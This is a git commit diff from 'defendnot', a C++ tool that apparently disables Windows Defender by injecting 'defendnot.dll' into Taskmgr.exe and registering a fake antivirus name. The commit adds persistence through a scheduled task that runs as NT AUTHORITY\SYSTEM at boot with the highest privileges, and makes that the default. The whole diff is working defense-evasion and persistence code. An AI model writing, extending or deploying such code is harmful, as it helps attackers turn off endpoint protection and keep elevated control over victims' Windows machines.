feat(autorun): add AS_SYSTEM_ON_BOOT autorun type

This commit is contained in:
es3n1n
2025-05-15 21:51:22 +09:00
parent ad032ab0d5
commit 96d0cddf8c
4 changed files with 58 additions and 15 deletions

View File

@@ -7,4 +7,6 @@ namespace names {
constexpr std::string_view kVictimProcess = "Taskmgr.exe"; constexpr std::string_view kVictimProcess = "Taskmgr.exe";
constexpr std::string_view kDllName = "defendnot.dll"; constexpr std::string_view kDllName = "defendnot.dll";
constexpr std::string_view kVersion = "1.0.0";
} // namespace names } // namespace names

View File

@@ -90,10 +90,20 @@ namespace loader {
} }
} // namespace } // namespace
[[nodiscard]] bool add_to_autorun() { [[nodiscard]] bool add_to_autorun(AutorunType type) {
const auto bin_path = shared::get_this_module_path(); const auto bin_path = shared::get_this_module_path();
return with_service([bin_path](ITaskService* service, ITaskFolder* folder) -> bool { return with_service([bin_path, type](ITaskService* service, ITaskFolder* folder) -> bool {
/// Deduce the autorun config based on type
const auto task_trigger = type == AutorunType::AS_SYSTEM_ON_BOOT ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON;
const auto logon_type = type == AutorunType::AS_SYSTEM_ON_BOOT ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN;
BSTR user_id = nullptr;
auto bstr_sys = bstr_t(L"SYSTEM");
if (type == AutorunType::AS_SYSTEM_ON_BOOT) {
user_id = bstr_sys;
}
ComPtr<ITaskDefinition> task; ComPtr<ITaskDefinition> task;
auto hr = service->NewTask(0, task.ref_to_ptr()); auto hr = service->NewTask(0, task.ref_to_ptr());
if (FAILED(hr)) { if (FAILED(hr)) {
@@ -119,7 +129,7 @@ namespace loader {
} }
ComPtr<ITrigger> trigger; ComPtr<ITrigger> trigger;
hr = trigger_collection->Create(TASK_TRIGGER_LOGON, trigger.ref_to_ptr()); hr = trigger_collection->Create(task_trigger, trigger.ref_to_ptr());
if (FAILED(hr)) { if (FAILED(hr)) {
return false; return false;
} }
@@ -148,9 +158,9 @@ namespace loader {
return false; return false;
} }
/// Elevated, when any user logs in /// Elevated, when system boots
principal->put_GroupId(bstr_t("BUILTIN\\Users")); principal->put_UserId(user_id);
principal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); principal->put_LogonType(logon_type);
principal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); principal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
/// Info /// Info
@@ -166,8 +176,8 @@ namespace loader {
/// Register the task and we are done /// Register the task and we are done
ComPtr<IRegisteredTask> registered_task; ComPtr<IRegisteredTask> registered_task;
hr = folder->RegisterTaskDefinition(bstr_t(kTaskName.data()), task.get(), TASK_CREATE_OR_UPDATE, VARIANT{}, VARIANT{}, hr = folder->RegisterTaskDefinition(bstr_t(kTaskName.data()), task.get(), TASK_CREATE_OR_UPDATE, VARIANT{}, VARIANT{}, TASK_LOGON_NONE,
TASK_LOGON_INTERACTIVE_TOKEN, variant_t(L""), registered_task.ref_to_ptr()); variant_t(L""), registered_task.ref_to_ptr());
return SUCCEEDED(hr); return SUCCEEDED(hr);
}); });
} }

View File

@@ -5,15 +5,21 @@
#include <Windows.h> #include <Windows.h>
namespace loader { namespace loader {
enum class AutorunType : std::uint8_t {
AS_SYSTEM_ON_BOOT = 0, ///< launch on system boot as NT AUTHORITY\SYSTEM
AS_CURRENT_USER_ON_LOGIN = 1, ///< launch on user login
};
struct Config { struct Config {
public: public:
std::string name; std::string name;
bool disable; bool disable;
bool verbose; bool verbose;
bool from_autorun; bool from_autorun;
AutorunType autorun_type;
}; };
[[nodiscard]] HANDLE inject(std::string_view dll_path, std::string_view proc_name); [[nodiscard]] HANDLE inject(std::string_view dll_path, std::string_view proc_name);
[[nodiscard]] bool add_to_autorun(); [[nodiscard]] bool add_to_autorun(AutorunType type);
[[nodiscard]] bool remove_from_autorun(); [[nodiscard]] bool remove_from_autorun();
} // namespace loader } // namespace loader

View File

@@ -57,7 +57,7 @@ namespace {
void process_autorun(const loader::Config& config) { void process_autorun(const loader::Config& config) {
if (shared::ctx.state == shared::State::ON) { if (shared::ctx.state == shared::State::ON) {
std::println("** added to autorun: {}", loader::add_to_autorun()); std::println("** added to autorun: {}", loader::add_to_autorun(config.autorun_type));
} else { } else {
std::println("** removed from autorun: {}", loader::remove_from_autorun()); std::println("** removed from autorun: {}", loader::remove_from_autorun());
} }
@@ -75,19 +75,41 @@ namespace {
} // namespace } // namespace
int main(int argc, char* argv[]) try { int main(int argc, char* argv[]) try {
argparse::ArgumentParser program(std::format("{}-loader", names::kProjectName), "1.0.0"); argparse::ArgumentParser program(std::format("{}-loader", names::kProjectName), names::kVersion.data(), argparse::default_arguments::none);
const auto fatal_print = [](const std::string_view str) -> void {
shared::alloc_console();
std::cerr << str << std::endl;
system("pause");
std::exit(EXIT_FAILURE);
};
/// We are registering these ourselves because we have to alloc console first
program.add_argument("-h", "--help")
.help("prints help message and exits")
.default_value(false)
.implicit_value(true)
.action([&fatal_print, &program](const auto& /*unused*/) -> void { fatal_print(program.help().str()); });
program.add_argument("--version")
.help("shows version and exits")
.default_value(false)
.implicit_value(true)
.action([&fatal_print](const auto& /*unused*/) -> void { fatal_print(names::kVersion); });
/// defendnot-loader parameters:
program.add_argument("-n", "--name").help("av display name").default_value(std::string(names::kRepoUrl)).nargs(1); program.add_argument("-n", "--name").help("av display name").default_value(std::string(names::kRepoUrl)).nargs(1);
program.add_argument("-d", "--disable").help(std::format("disable {}", names::kProjectName)).default_value(false).implicit_value(true); program.add_argument("-d", "--disable").help(std::format("disable {}", names::kProjectName)).default_value(false).implicit_value(true);
program.add_argument("-v", "--verbose").help("verbose logging").default_value(false).implicit_value(true); program.add_argument("-v", "--verbose").help("verbose logging").default_value(false).implicit_value(true);
program.add_argument("--autorun-as-user").help("create autorun task as currently logged in user").default_value(false).implicit_value(true);
program.add_argument("--from-autorun").hidden().default_value(false).implicit_value(true); program.add_argument("--from-autorun").hidden().default_value(false).implicit_value(true);
try { try {
program.parse_args(argc, argv); program.parse_args(argc, argv);
} catch (...) { } catch (std::exception& e) {
shared::alloc_console(); std::stringstream ss;
std::cerr << program; ss << e.what() << '\n';
system("pause"); ss << program.help().str();
fatal_print(ss.str());
return EXIT_FAILURE; return EXIT_FAILURE;
} }
@@ -96,6 +118,9 @@ int main(int argc, char* argv[]) try {
.disable = program.get<bool>("-d"), .disable = program.get<bool>("-d"),
.verbose = program.get<bool>("-v"), .verbose = program.get<bool>("-v"),
.from_autorun = program.get<bool>("--from-autorun"), .from_autorun = program.get<bool>("--from-autorun"),
.autorun_type = program.get<bool>("--autorun-as-user") ? /// As system on boot is the default value
loader::AutorunType::AS_CURRENT_USER_ON_LOGIN :
loader::AutorunType::AS_SYSTEM_ON_BOOT,
}; };
setup_window(config); setup_window(config);